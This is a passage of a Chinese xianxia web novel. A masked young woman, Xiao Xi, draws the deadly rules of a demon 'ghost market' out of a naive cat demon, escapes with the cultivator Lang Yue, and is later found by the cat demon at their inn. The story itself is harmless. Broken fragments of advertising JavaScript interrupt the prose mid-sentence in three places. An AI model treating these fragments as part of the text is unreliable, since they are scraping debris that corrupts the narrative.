不过,她必须要赶紧离开这个遍地是妖的是非之地,或者说,至少要先找到一个可以暂时落脚的藏身之处。 想到这里,她忽地转身,退回到原来的地方,她捡起落在自己脚边的一只面具,这是刚刚被自己的符咒打下的一只妖怪的所有物。 她搓捻起面具边缘的冰凉的薄片,若有所思起来。 她对这些妖怪说的话格外上心,因为里面的信息量很大,也让她感到很陌生—— “你这姑娘是第一次溜进鬼市吧?连带面具的规矩都不明白,不怕被人瞧见脸面后遭到暗算和报复?” “啧,小美人,别怕昂!就算坏了规矩,也没人敢伤害你,只要你乖乖到爷爷们这儿投怀送抱~哎嘿~” …… 坏了规矩?在这里不带面具就是坏了规矩?看起来在这儿坏了这种规矩会是一样令生命堪忧的事情。 萧喜将面具擦亮些,看它的模样倒也没有丑得过分后,便果断罩上自己的脸,她认为面具这个东西是让她能找到藏身之地的最重要的前提。 很快,她听到了不远处,大概跟自己站着的屋脊隔着两栋高楼的距离之下的地方,正扬起不断汇聚的喧嚣声,里面带着很强烈的恐慌情绪。 萧喜看都没看就知道,这是猫妖那边的妖怪们没能识别欺骗他们的视觉后,没能刹住脚步,踩了空,然后直直坠下高楼摔死了,这动静闹起来不会小,就像现在她听到的这样。 也不知道猫妖那种没脑子的货色,有没有按照她所预料的那样活下来? 这样的思绪在萧喜的脑海里一闪而过,她没有时间对这个素不相识的家伙上心,她觉得自己都这么帮他了,已是仁至义尽了。 萧喜很快背对着楼下喧嚣声所起的方向,踩着不宽不窄的屋脊冲刺出去。 一阵和她跑动时掀动的逆风,方向对不上的大风扑到她的脸上,起初她以为只是一场普普通通的夜风,直到她看到一只闪现着挡住他去路的影子时,她才重新提起警惕心,双拳默默捏紧,一整个蓄势待发的样子。 “是我是我!”那黑影挥挥手,还压低声音叫道。 是那个猫妖?! 萧喜将信将疑地想道。 那头脑简单的猫妖一颠一颠地朝她奔来,对萧喜绷紧神经时表现出的那一副紧迫模样没有丝毫畏忌感,这可和不久前在萧喜面前表现的模样大相径庭。 而且这妖怪也带着面具,谁知道现在面具下覆盖着的还是不是刚刚的猫妖? 这让萧喜感到怀疑,她抱着不想继续无事生非的心态想要绕开对方,直接离开。 猫妖没得地方跑,但又招架不住萧喜来势汹汹的模样,就只好不情愿地自动退到屋脊下端的斜坡瓦片上,再怎么轻盈的体态也不好支撑他久留于此,没有办法的情况下,他又不肯放弃继续追赶萧喜的心思,只好咬牙坚持,蹩脚的步伐好几次险些让他滑下屋顶。 这妖怪却还是不死心:“我追了你好久才赶上呢!你别往那边跑了!那边是鬼市主的地盘了!很危险的!” 鬼市?! 这是什么鬼地方?! 萧喜显然被抓住了注意力,她斜眼撇了一下下面急得焦头烂额的猫妖,看他那副捉急的身法惹人发笑,她才终于肯松懈下来。 毕竟这种烂到极致的身法是很难伪装出来的。 既然这猫妖对她没有任何威胁,那她为何不利用他套话?“鬼市”这个关键词给了她很多灵感。 萧喜抱胸而立,直挺挺地杵在房梁上,饶有兴趣的看下面的猫妖狼狈攀爬上赶的样子。 等猫妖爬上来后,她刚要准备发话,那猫妖倒特别自来熟地叽叽喳喳起来。 他摩挲起手掌,语气雀跃地介绍起自己来:“我叫小黑,是只黑猫妖……” 说着说着,他脑袋前倾过来,迅速嗅了一口气后,就立马缩了回去,然后继续道:“应该没错,你身上是狐狸的气息,你是狐妖!我记得有个词叫狐朋猫友,一听就是个好词,就像我和你一样!” 他双手一会合紧,又一会儿朝外面探出一只来,简直是一副要伸不伸的别扭画面。 萧喜这边完全没有要打断他话的想法,甚至觉得这猫妖的话给了她更多的启发,比如用自己身上残留过的妖气和体内灵根的气息可以暂时掩饰自己的真实身份。而且也多谢了这猫妖,让自己知道了让她在云镇客栈遇毒雾袭击的罪魁祸首原来是只狐妖,这可大大方便了自己以后去锁定罪魁祸首。 除此之外,她之所以不发声倒也不是不想说话,而是因为小黑压根没留给她说法的缝儿。 她盯着小黑无所适从的动作,听着他拿“狐朋猫友”这种记错了的贬义词跟她套近乎,她一边觉得好笑,却一边觉得惊奇。 因为,在一刻钟之前,她还料定这猫妖是个胆小怕事的家伙,结果没想到是个嘴巴比她还碎的自来熟。 萧喜变着法子顺着小黑的话头加入自己感兴趣的话题,并成功地套出了自己想要的信息——“鬼市”的据点就在盛京,它真正的名字是“鬼面妖市”,是妖界鼎鼎有名的地下交易所,简称妖界江湖的“暗曹营”,所以这也很好解释了为什么这么大的地方却到处都是妖怪,而没有任何一个人……不,或许,她算一个。 她想到一个很有意思的问题,想都没想就直接抛了出来:“不久前我可是给了你那么大一脚,把你踢出去老远!就这样了,你怎么还敢跟着我?难道不应该早点躲起来庆祝自己劫后余生?” 她在套到自己想要的消息后,其实还挺指望这个问题可以刺激到猫妖小黑,好让他赶紧“清醒”过来,别再跟着她。 小黑头脑简单到令人发指,他难为情地说道:“你还是帮了我,虽然那一脚很疼,但是我觉得你跟那些追杀我的家伙们不一样,你不是成心要害我的,不然你早在一开始就要害我了!而且因为我,你还惹上了麻烦,我不能眼睁睁看着你跑到鬼市妖主那边自寻死路啊!你这么厉害,这么善良,还……很漂亮,很可惜的!” 萧喜皱眉,觉得小黑的脑路十分匪夷所思:“所以说,你在一开始其实也不确定我会不会伤害你,这种情况下,你还不问是非地追着我不放?!” “我一开始看到你被他们追着,就知道你跟他们不是一起的,你看起来又很靠谱,我心一急就跟你身边了,这不是顺其自然嘛。” 语罢,小黑还嘀嘀咕咕了一句:“毕竟……最近本来就有很多像我们这样初来乍到的妖,大家不都一个阵营的吗……” 所以那时候他的举动,算是自己给自己找组织了。不过,得亏今晚他遇到的是萧喜,但凡碰到别的嫌他麻烦的家伙,估计早就把他噶掉了。 尽管小黑的声音压得很低,但还是没有逃过萧喜的耳朵,一心想走的萧喜不得已再次留步,她抓紧时间,问道:“我们?你是从我一开始没带面具就认为我是新人吧,不过,你也是第一次来鬼市吗?而且什么叫最近本来就有很多像我们这样初来乍到的妖?鬼市这是发生了什么事儿了?” “差点忘了,我还没问那帮怒气冲冲的家伙,为什么会对你这么个小妖怪穷追不舍呢?不过,现在听你这话的意思是,这个问题的答案貌似跟我也是息息相关的,不妨速速告知于我。” 萧喜问得滴水不漏,她其实关注这些,是因为她想要探讨自己为什么会被狐妖带到这里的原因,以及那只别有用心的狐妖会不会也跟小黑说的鬼市谜踪有关? 这里面牵扯到了很多方方面面的思绪,她想着既然已经遇到了狐妖这个潜在的危险,就绝对不能规避,否则在不久后的她要面对盛京的秘密时,要解决的问题就会越积越多。她觉得自己最好提前做好留后手的准备。 小黑被她问得一愣一愣的。 萧喜无奈道:“这样吧,从现在开始你只要好好回答我的问题,我就允许你接下来跟着我。反正我早就看透你的心思了,说什么可惜我不过是表面而已,你真正需要的是我的保护,对吧?毕竟,刚刚那些事端是我俩一起搞出来的。” 她的话裹着含糊不清的威胁意味,只这些可感觉得到,却没办法老老实实解释得清楚。 不过,这些释义都不重要,只要小黑能稍微被它影响到就行,而且他应该会对她开的条件感兴趣。 小黑如实回答道:“因为这已经是我来鬼市的第三日了,所以我能摸清一些这里的规矩,比如带面具。” 他规规矩矩地指着自己脸上的铁皮黑猫的面具。 “不只是我,这些日子总有源源不断的想要实现梦想或者满足欲望等等的妖摸索到鬼市来,等待五日后七月半的中元节鬼节,揭下悬赏令,只要完成任务,就可以面见鬼市妖主,问他兑换你想要的一切。” “嗯额……我也是我也是。”萧喜面不改色地跟着后面装腔道,说的颇像是那回事。 “不过嘛,我也是不久前新来的,还是有很多地方都搞不明白的,你懂的。”她紧接着抛给小黑一个意味深长的眼神,笑道。 她还在套话,不过小黑听不出来。 小黑天真地继续说道:“虽然没多少人知道鬼市的据点,但是自从悬赏令下来后,越来越多的妖都把这事传开了,导致外面的包括我这种小妖怪也能溜进来了。因为,这次悬赏令的意义非同一般,当然也有很多妖怪单纯是对鬼市妖主的真面目感到好奇,来凑热闹的。鬼市里面的妖越聚越多了,但是我也是刚来不久才知道,原来鬼市揭悬赏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 令的人数是有限的,然后……就有妖怪们抢起来了,最后严重到一帮妖怪组成了帮派,专门围剿我们这种初来乍到对他们有威胁的妖怪。” 萧喜半张了张口,似乎是觉得奇怪,她问道:“你好像也没什么功夫吧?我们俩混合双打直接跟那些妖怪正面抗的话,都打不过的。怎么就觉得我们有威胁了?” “哎,跟鬼市的规矩有关,他们不是觉得我们厉害才忌惮我们,而是担心日子越长我们就越了解规矩,我们和他们之间的信息差就会消失,到时候他们就不能掐点杀我们。要知道,鬼市是不能随便杀生的,除非你犯了规矩。 不过,准确点来说,他们其实谁不也不知道谁厉害,完全是抱着宁可错杀也不能不杀的心态才进行围剿的,所以我们对他们有没有威胁,完全不是根据我们的本事是高是低来评判的,而是完全取决于他们的意图。 你一开始就跟我一样,犯了相同的规矩,不带面具,不过我俩命好,挺过了这一关。 而且经过这几天的逃窜,我也终于发现了第二条规矩,你一定要记得遵守。鬼市对天亮后的外来者格杀勿论,现在距离天亮不到半个时辰了,刚刚那些妖怪追杀初来者的事情每晚都会发生,而且特别集中于这种时辰。” “好……所以怪不得那些妖怪不选择远攻,而是想要抓住我们,然后掐点杀死?” 小黑点了点头。 “我还是不太理解,既然杀妖的条件是白天,那为什么时间却都集中在这种天要亮不亮的昼夜相接处?” “因为这种时间最具说服力。” “什么?” “鬼市其实不管外面是白天还是黑天,里面都是暗如夜幕的,初来者一般什么都不懂,更分不清白天黑天,所以在像现在这种分界模糊的时间点里抓妖,总是一抓一个稳,就算不稳……” 小黑倒吸了一口凉气,萧喜就算看不见藏在面具下的他的神情,却也能想象到他苍白空洞的模样了。 “就算不稳,被抓住的妖怪也完全没有任何狡辩的机会,所以这种时间最具说服力。”萧喜冷笑一声,接道。 小黑又是忙不迭地点头了。 小黑这猫妖摸索了整整三天,才好不容易从无数次逃亡中总结出仅仅两条死亡条件,听起来真是一件可悲又可怕的事情。 小黑不会知道萧喜现在在想什么。 她知道鬼市既然能出现这么多条条框框,也是所谓的鬼市妖主持掌这片地盘的手段,而且他的做法的确让鬼市安稳运营到现在,这很好证明鬼市妖主是个运筹帷幄的妖怪。 就连现在的她都能看出这里面的猫腻了,那鬼市妖主在弄出悬赏令的时候,怎么可能料不出这些往后会产生的隐患?萧喜可不敢随便轻视这种人物。 她知道,鬼市主完全是在养蛊,如果他不是成心如此,干嘛还要设置揭令人数有限的脑残规矩? 人多力量大,不,是妖多力量大,在这位主子眼里,看起来毫无说服力,不过这也说明了,悬赏令的内容对他意义非凡啊,所以才要用这种明眼人看不出来的方式挑选出最有本事的那批妖怪,用欲望诱导他们为他卖命喽。 “五日后?这么说的话,悬赏令的内容就还是保密的了?”萧喜喃喃自语道。 她很快转移眼神到小黑身上,她神情复杂道:“话说,你再这么下去,根本就挺不住吧,那个悬赏令真的比你的命都重要?你不是挺惜命吗?三天了,怎么还不出去?” “我已经后悔死了,其实我也没什么欲望,我就是想来凑热闹,顺便搞点钱回去……谁知道我这是上了贼船!你以为是我想这样吗?在这个昼夜不分还充满死亡威胁的鬼地方是很痛苦的,我已经想了很多办法出去了,可是鬼市很大,进来后被追杀了就愈发晕头转向,很多和我一样的妖都已经很努力了,却还是逃不出去!” 小黑眸色酝出一层水雾,声线颤抖。 “逃不出去……”萧喜拧眉。 该死,她听完小黑的话,其实很想安慰他,说其实自己其实比他还惨,连进来的路在哪儿都不晓得,甚至连进来的方式,她也完全不知道。 她的眼神下垂,刚好瞥见左脚尖,她想起今晚朗月拽住这只脚时对她说过的话—— “别……担心,我已缔印,很快就会找到你。” 也不知道朗月那边怎么样了,而且,他当时在她左腿上到底做了什么呢……那句“很快就会找到你”到底有多快? 要是朗月真的能找过来,她说不定就能靠他找到出口了。 可是,听小黑提过的话里,白天是鬼市的禁忌时间,对外来者来说,但凡白天进入的,都该格杀勿论…… 距离天亮还有不到半个时辰的时间了,朗月又跟她一样深受毒香之害,他就算醒得比她早,靠日行千里的本事从云镇飞到盛京来的话,估计不大可能,而且就算来了,面临的就是跟她一样的乃至更为严峻的追杀,更何况他身上有种妖气难以完全掩盖的修真门派的气息。 难搞啊,她可没有太多时间在鬼市待下去了,当然,她也很不愿意继续待着了! 毕竟,谁知道这鬼市还有没有什么其他奇怪的规矩…… “我建议你赶紧跟我一起藏好,别老往鬼市主那边凑!既然第二条规矩已经见底,我们就要见好就收啊!还有不到半个时辰,外面围剿的妖怪只怕会更加猖獗!”小黑见萧喜一副沉思的样子,他急得直跺脚,下意识地就要伸手去拽她。 尽管萧喜躲得很快,但小黑还是摸到了她手上的皮肤。 他手抖了抖,奇怪道:“狐妖姐姐,我怎么感觉你身上的气味变……变淡了?” 看吧,早就说了,她没有太多时间在这个鬼地方待下去了! 147. 鬼面妖市(4) 萧喜呵呵笑了两声,不以为意地说道:“别想太多,我又不会突然从妖变成其他什么东西。” “对吧?”她顺便又给小黑抛过去一个很令人信服的眼神。 小黑也跟着她后面傻呵呵笑道:“也对。” “好了,在出发之前,你起码得先告诉我要去哪里比较保险吧?” “准确来说,哪儿都不保险,不过我们可以混迹妖群,随便找个妖潮拥挤的地方挤一挤。在发现今天这二条规矩之前,我都是用这样的办法躲身的。不过,也要看是什么地方的妖群,鬼市妖主那个方向是鬼市中心地带,虽然妖多,但处处埋了鬼市妖主的眼线,我们今天……杀妖没按照规矩,去了就……回不来了。” 小黑惊恐地说道。 “明白了。”萧喜用一副恍然大悟的口吻应道。 “愣着干什么,你带路啊,”她示意小黑转过身去,那猫妖倒是听话极了,可就在此时,他的脖子上被人定住了穴位。 小黑无法动弹自己的身体,只好背对着萧喜,听她说话:“抱歉,我是个说谎的惯犯,不会对所谓的诺言负责,我不希望你跟着我,不过,你放心,我跑得很快,不消一会儿你身上的穴位自会解开,记得好好躲起来,别再被那帮家伙追上了。” 语罢,小黑便听到身后传来衣袖拍打的声音,似乎是萧喜正在跳下屋顶时的动静,这些声音和他对萧喜的印象一致,果决而利索,绝不拖泥带水。 …… 萧喜如今的处境十分两难,自从她体内的余毒被灵力清除后,停留在外的带着狐妖妖气的香雾定然不能一直持久下去,所以她迟早会面临香气完全散去后被迫暴露身份的时刻,这是她一直都知道的。 只是她没有想过会这么快。 毕竟,刚刚猫妖小黑不过只是轻轻碰了她一下,这些附在她表面之上的香雾就能被刮走了,可想而知,这些香雾还能帮她多久呢?她默默叹气,贪心地想到体内的余毒全部被清退也不是什么好事。 然而就是这样快要露出马脚的她,还必须得按照猫妖所说之话,去寻找妖数众多的地方避身。可是如果不这么做,她的体力又能支撑她对抗多久那来势汹汹的围剿呢? 她到底该怎么办?! 萧喜焦急得穿梭在来去匆忙的车水之间,被川流不息的妖群挤来挤去,她紧张地将露在外面的皮肤缩进袖子和衣领间,深怕自己被那些妖触碰,这就导致了现在的她看起来颇像一只立在孤岛中央的可怜鹌鹑,孤立无援着,毫无任何出逃困境的思路,更没有对获救抱有什么希望。 “姑娘!姑娘!这面具看起来多不适合你啊!何不看看我这摊子上现成的狐妖面具?” 萧喜被迫顺着街道上的波流,被堵在了边缘的街口上,暂时无法脱身。街口旁一只摆着面具摊子的妖怪看着她如同看见了待宰的羔羊,对她招呼不断。 “不用!不用了!”萧喜被吓得连忙挥手,她脚步回旋,最后却还是只能顿在原地,阵阵喧嚣的叫卖声混迹在妖群里,包裹着她。 热浪滚袭,各式各样的妖气堵在萧喜的鼻腔里,她不禁感到晕头转向,一时居然没有感觉到自己左脚隐隐传来的冰凉感。 那面具摊子的老板不依不挠,看她没法脱身,居然直接伸手扒拉上她,热情地叫道:“姑娘来看看也行啊!” “不用了!”萧喜的动作被限制着,她瞳孔顿缩,焦急地躲避老板伸来触碰她的手。 真是糟糕……在这种地方暴露,会造成覆水难收的下场的!萧喜咬牙坚持,眼睛却因为不敢想象后面发生的事情,而选择逃避着闭上。 与此同时,一粒碎银清脆的掉落声吸引了她的注意力,更是吸引了摊子老板的注意力。 萧喜慢慢睁眼,却在看到眼前之景的时候,感觉到身边鼎沸的叫嚣声逐渐不再刺耳,心脏好似被什么东西吊住了,无论怎么做都无法拽回来,她知道,自己现在的模样一定很呆傻可笑。 “既然她都不愿意了,你为何还要纠缠不休?” 落耳的是熟悉的清冷声线,但总让她感到暖流激滚。 “是是是,公子说得对!”老板赶忙捡起摊子上的银子,赔笑道。 老板递过来那只画着狐狸眉眼的纹样的面具,朗月微微挑眼,接过后,说道:“不用找了。” “公子大度!” 尽管看不到老板的面貌,但也能想象到他嘴角裂到耳根子边的画面了,这是萧喜的直觉。 “还愣着干什么,我们时间不多,有什么事情等出去之后再说。”朗月透过一只同样绘着狐狸纹样的面具的眼洞,给萧喜递了个眼神。 萧喜立马被点醒,喜上眉梢地说道:“好!” 不久前,朗月眼睁睁地看着萧喜被拖离自己的视野时,身体却无法自控,他陷入无力的绝望。于是他顶着毒雾的攻势,强行运动内息,逼着自己用灵力疏通脉络,从而驱散毒气,他没有时间顾得上自己的身体,只是执拗地用在萧喜身上烙下的缔印追寻她的踪迹,驱使风行术跋涉千里,竟在一夜之间赶到了这个满是妖怪的,叫做“鬼市”的地方。 他比萧喜的情况好些,至少来这儿的时候脑子还是保持清醒的,所以他很快就清楚了“鬼市”的性质所在。可惜的是,无论他再怎么小心谨慎,他那香雾盖不住的气息还是招致了几只妖怪的注意。 为了避免声张,他不得已先下手为快,将这几只妖怪暗地里解决掉后,从他们身上取下了一些可随身携带的物件,带到自己身上,从而达成暂时掩饰身份的目的,然后他还随手取走了其中一只狐妖的面具,装作和此处其他妖怪差不多的样子,带好面具,后而上街找人。 他的运气很好,或许是到这儿的时间不长的原因,所以他没有遇到萧喜面临过的那些棘手的事情。不久后,他真的找到了被妖怪纠缠不放的萧喜,并为之解决了困境。 托朗月的福,萧喜跟着他顺利地找到了出去的路。 萧喜在刚出去前还以为外面的天应该还没亮,因为她认为“鬼市”这种如此排斥“白昼”的地方,既然能有白昼禁止进入的规矩,就也会有白天禁止外出的规矩才对。 但是现实证明,她多虑了。她怔怔地抬眼看向藏在东方远山下的缠着飘渺白雾的晨阳时,她不由得歪头想道,这鬼市的规矩不仅多,还老是让人难以摸得着规律呢。 “在想什么?”朗月垂眸看她。 “没什么……”萧喜其实是在心里慨叹猫妖小黑没有她这样的好运气,能留命逃出鬼市罢了。 说到底,她是有点愧疚的,但当时的自己的确没有想到,朗月会在不久后就会找到她,面临死局 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的她,也压根没料到自己能这么快就能逃出鬼市这个凶地……她虽然是不知道结局的人,但这个结局到底是落实在自己身上了,可是猫妖小黑可不知道这些,他只会觉得她就是个“说谎的惯犯”,不惜说谎也要摆脱他,然后再自己吃好处…… 真是……别扭的感觉,活像是作恶了一般。 罢了,事已至此……也改变不了什么了,不如直接祝人家好自为之吧。 萧喜埋头呼出一口气,眼睛刚好移到朗月手上攥着的狐狸面具,她眼睛亮了亮,伸手指道:“倒也不是什么事情都没有……我想要那个面具。” “为什么?我们以后不可能在来这种地方了。” “你一点都不懂,”萧喜无奈地指了指自己脸上的面具,说道,“那个面具比我脸上这个更具有纪念意义,你不觉得,你脸上的狐狸面具和你手上的这个很般配吗?我觉得你要是给我带上,不就变成我俩很般配了?” 萧喜贼兮兮地笑着,这是她的老手段了,她不仅是个说谎的惯犯,也是个调戏别人的惯犯。 朗月没说话,眼睛也没有回避,就这样定定地看着萧喜期待的目光。 萧喜自知没得逞,只好讪讪地尬笑着说道:“你以前都不是这样的,没意思。” “我以前什么样?” “以前只要别人逗你,你绝对会脸红,和平时严肃的你形成的巨大反差是怪叫人惊喜的,但是我觉得现在我的招数已经对你不管用了,或者说,你这是欲求不满,我得加强力度了?” 萧喜这是贼心不改,其实她倒不是成心要搞朗月心态,她只是觉得开开玩笑,就能缓解比较凝固严肃的气氛,但是缺点就是,一旦这种玩笑开下来,对方没有反应的话,尴尬往往得自己加倍承担。 她现在明显就是后者的状态。 “对不起……我开个玩笑,哈哈,虽然一点都不好笑,哈哈…….”萧喜呵呵干笑着。 “没有,我只是太累了。”或者说,他真的是欲求不满了…… 奇怪的想法在他思路松懈的时候乘虚而入,但也仅仅存在于一念之间,他摇了摇头,甩开了它。 萧喜收笑,忧色上涌,忙道:“也是,是我考虑欠佳了,你能赶过来就已经让我非常意外了,但肯定会很累,我一时心急就只顾着自己开心了,抱歉。” “快快快,我们快去城里找个落脚点休息休息。”萧喜快步上前。 望着萧喜慌忙赶路的背影,朗月顿了一顿,却生怕脑子里再冒出什么匪夷所思的事情,便不再停留,快步跟了上去。 好在鬼市的据点距离繁盛的盛京城不远,他们两个人没有吃多少苦头。 天已经蒙蒙亮,盛京城已有部分茶馆和客栈开了业,他们随便寻了个小客栈住下。 朗月的确需要一场安稳的睡眠,如今的他毫不夸张地说,估计已经到了一靠上床铺就能当场倒头昏过去的地步。 萧喜虽然也有些疲惫,却不愿意休息,她认为为了避免昨晚在云镇被当场劫持的事情发生,就必须留下一个人保持清醒,如此才给同伴放风。在她执拗的坚持和不正经的调侃下,朗月没得办法就只好由着她去了,不过条件是,他醒过来后得跟她换班。 否则以不好的精神状态待在这偌大又凶机毕露的盛京城,是很危险的事情。 148. 鬼面妖市(5) 不知不觉间,就已经过去了小半日,但天气却还是雾蒙蒙的,但与南方的留着同样底色的天气不同的是,盛京的空气是干燥的。 终究是水土不服,短时间内的朗月还不能适应于此,总的来说,这场觉睡得不算多舒坦。 快到初秋的季节,盛京虽然说不上冷,但足够凉爽。一阵微风吹进客栈,屋子里没有关紧的窗户被轻轻推开一个缝,年久失修的窗子发出“咯吱咯吱”的声音,将外面的混在渐渐发黄的草木气味里的东西,顺着风儿,送到了他的鼻息间。 他睡得并不死,加上昨晚的教训,他的警惕心从昨晚开始到现在就没有完全放下过。所以,在嗅到一丝丝不妙的气息时,他就飞速地从床上腾起了身子。 这是一股很微妙弱妖气,不知道到底是那妖怪实力太弱,还是因为它跟昨晚释放毒香的妖怪一样,习于隐瞒,太过狡猾。 他皱了皱眉,去细听隔壁萧喜屋子的动静,结果毫无收获。 他扶额,叹道,不是她自告奋勇地要给他放风么?怎么到了关键时刻这么不靠谱? 客栈里面还有旁人,他不想打草惊蛇,干脆用轻功从窗子这个捷径绕到萧喜那里去,看看她的情况。而且这条捷径很节省时间,可以尽快让他找到萧喜后,迅速应对情况。 这座客栈占地不大,并且整体结构向街道另一侧内凹的,所以他的动作不会影响外面街道上的人来人往,这很保险。 朗月的行动很利索,他踩着窗子下端的框架,跳出去后只消一下轻巧的转身,就能翻到目的地去,且不会发出任何声音,他本想直接启开窗子,但没有想到他会以这种方式与刚刚他嗅到的气息的主人对上视。 他纳闷地上下打量了一番这只妖怪,他没有想到,这妖怪会弱到如此地步,就连妖气都是微不可察的,但就是这样的妖怪却敢在青天白日下来犯。 好蠢,他松了松眉宇间的煞气。 这妖怪瞳孔微竖,肤色发黑,倒像是黑猫,他的面容比较稚嫩,看起来年纪似乎不大。 黑猫妖满脸惊恐地看着朗月,身体似乎冻结了一般,双手抓着墙面不放,不知该去往何方,但他全身都是在抖的。 直到他看到朗月微妙的神情变化,他才终于从恍惚中脱身,开始挪动双臂,想要逃跑。 朗月胜券在握,甚至连法术都不屑于动用,直接伸腿下去,身体前倾往下,就抓住了黑猫妖的后脖颈,因为这只黑猫妖的体型不大,所以他的手法看起来跟随手揪只真的猫狗没什么区别。 黑猫妖没有任何反抗的余地,连声音都没时间发出,他就被朗月抓住连连往上升,直接拽进了萧喜的屋子。 “你……” 他转身本来要说,你难道没有察觉到妖气的存在吗? 但却在一眼间,他就羞红了脸转回身去,话也被堵在了嗓子眼里。 萧喜整个背脊都袒露在他的眼前,白皙的皮肤上留着一大片青紫色的肿痕,其上还有皮肤擦破后的红痧,红痧之间留着已经结痂的褐斑。 被他揪着后脖颈的黑猫妖满目恐慌地想要转头过去看萧喜,却硬生生被朗月扭了回去。 还莫名被朗月斥责了一声:“别看!” 小黑:“?” 这把小黑吓了一大跳,他连忙瑟缩下脖子,一动都不敢动了。 萧喜一脸懵地拉起耷拉在背脊下的衣物,毋庸置疑,她的脸也是红温着的。 “朗……月?”她连忙系好衣带,转过身来。 “你怎么从窗子……里进来?”她看朗月依旧背对着自己,没什么反应,为了缓解尴尬,她只好继续道。 “啊……没……没什么,你继续。” 朗月的语气是平静的不错,但他烧红的耳根子却背叛了他。 “你旁边的是?” 萧喜满心疑窦地侧头看过来,不过只是看见了猫妖大概的轮廓,她就喊出了连她自己都觉得匪夷所思的名字。 “小黑?!” 被朗月吓得不敢动弹的小黑终于被这声呼唤解开了“封印”,他虽然害怕朗月,但还是没控制住自己兴奋的情绪。 “是我是我!” “你们认识?”朗月蹙眉。 “算是。不过,你们俩个怎么闹成这样?”萧喜不由颔首。 朗月垂眸瞥了一眼小黑,道:“他行迹鬼鬼祟祟的,很可疑。虽然他的妖气很弱,但你应该也能有所察觉……” 语出于此后,朗月迅速闭上了嘴。 但终究还是没能来得及刹住话头,萧喜的表现有些局促,但还是回答了他:“因为我在鬼市出过一点小意外,后背摩擦得比较厉害,所以我在擦药,心思都摆在伤口的疼痛上面,一时没注意这些,额,我也没想到会出这样的事情……毕竟你们在进来之前,我一点动静都没听到。” “我知道。”朗月讷声回道,眼神微微闪避。 同时,他也松开了提着小黑后领的手。 小黑好像也听懂了萧喜的言外之意,尽管他没有和朗月一样亲眼看到那些刺激的画面,但他还是能想象到的。 他羞红了脸,挠挠头,解释道:“我没有你们说的那种偷看的意思……我只是来找狐狸姐姐道个谢。” “狐狸姐姐?”朗月顿道。 萧喜看了一眼朗月怀疑的眼神,又看了一眼小黑真诚无比的表情,她挠头道:“小黑啊,额,我其实不是妖。” 萧喜本以为这句话会成为小黑心目中的晴天霹雳,却没想到小黑却完全没当一回事,道:“怎么可能啊?!你身上明明有妖气,而且哪个凡人有灵根这种东西?” 朗月神情复杂地用一种看智障的眼神打量着笑得满脸灿烂的小黑,懒得说话。 萧喜挑了挑眉,心想,自己的确不该太相信小黑的智商和脑回路。她主动抬手指了指朗月,怀疑道:“那你为什么要那么怕他呢?” “因为他是仙机门的人!” 萧喜:“……”仙机门弟子不就是有灵根的凡人吗? 小黑眨巴着眼睛和萧喜对视上,逐渐感觉到不对劲后,他探头往萧喜身上仔细闻了闻。 他的脸似乎变成了瞬间开裂的瓷器,他张大嘴巴,不敢置信道:“狐狸姐姐你的妖气怎么不见了?!不对!你不是修真之人的话,怎么会有灵根?!” 朗月似乎因为觉得聒噪,而慢慢捏了捏眉心,强制自己冷静起来。 萧喜饶有趣味地打趣起来他:“这个说来话长。不过,我倒是觉得小黑你很有意思啊,既然你早就知道我这边有个仙机门的弟子,怎么敢堂而皇之地跑过来找我?” 或许是因为萧喜的笑容很灿烂,小黑被感染得满腔动情起来,胆子居然也大了起来,似乎完全忘记了朗月的危险性,以及狐狸姐姐根本不是妖的残忍现实。 他甚至用可怜巴巴的样子,偷偷睨了朗月一眼,对萧喜告起状来:“因为我知道他是仙机门的人,所以我才敢偷偷摸摸找过来的啊,而且我觉得既然狐狸姐姐也能在这儿,那就说明了他没什么危险性,就算真的遇到危险了,我还能让你来救我。” 朗月听罢,漫不经心哼笑了一声。 萧喜挂在脸上的笑容僵了几分,觉得这个话题实在不适合再继续下去了,不然她着实担心朗月一个不顺心就把小黑打飞出去了。 她事先安慰了一下他:“别担心,我跟这位小公子都是思想开放之人,对妖早就没有偏见了,不会害你的。刚刚之所以会发生那种事情,也是出于他不明你的来意,对吧?” 她居然在帮这只黑猫妖说话。 朗月默默看着萧喜的侧脸,心里感到莫名不舒服。 此时,小黑还朝朗月扬起颇为得意的笑,一排白白的牙齿闪亮亮地露在外面,好似天突然黑了一般,叫人只能看到他那排白亮的牙。 本就不舒坦的朗月:“……” 萧喜这边貌似对他们两个“眉来眼去”的暗自较量毫无察觉,她搔了搔腮,随便扯了个话题说道:“我记得在鬼市的时候你不是被我定穴了吗,后面你是怎么找到我的,还能跟着我逃出鬼市?” 小黑喜道:“我掉过一些猫毛在狐狸姐姐你身上,我的穴位解之后,我就偷偷沿途循着自己的气味找你了,没想到居然能摸到出去的路,你真是我的贵人!” 萧喜张了张嘴巴,然后又默默闭上了。她之前的担忧原来全是多余的,她是没想到这小黑单纯到如此地步,不过也是,帮他找到生路这件事情对他来说,确实重要到可以让他完全忘却被骗这件事情。 她觉得事已至此,就不用再当面跟小黑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 补充已经过去的事情的细节了,她索性默认下来这份恩情,尴尬地说道:“无意之举而已,你不用谢我,更不用叫我什么什么……狐狸姐姐了,太肉麻,太奇怪了。” “也对,那你叫什么名字呢?既然不能这么称呼了,总得能喊你名字吧?”小黑忙道。 原本没打算再继续跟小黑扯上关系的萧喜:“啊?” “啊哈啊……没错没错,我叫萧喜。”面对小黑还要继续喋喋不休的样子,她认输了。 “好的,阿喜!” 朗月的眉头锁得更紧了。 “啥?”萧喜也是没想到。 …… 本来忍无可忍的朗月是打算直接把这只聒噪得厉害的黑猫妖轰走的,但却被萧喜拦了下来,原因的话,萧喜正在跟朗月解释。 “小黑虽然嘴碎又话多,但他跟鬼市有诸多联系,我觉得往后能派得上很多用场,但是不能操之过急,我们可以慢慢跟他打交道,有助于建立信任。”萧喜慢慢说道。 朗月皱着眉头,没什么好气地回答:“知道了。” 萧喜坐在房间里的梳妆台上,托腮端详他,轻笑起来:“我觉得,你现在的这副样子特别眼熟,就像……我们在平台镇初见,你嫌弃我的时的状态。” 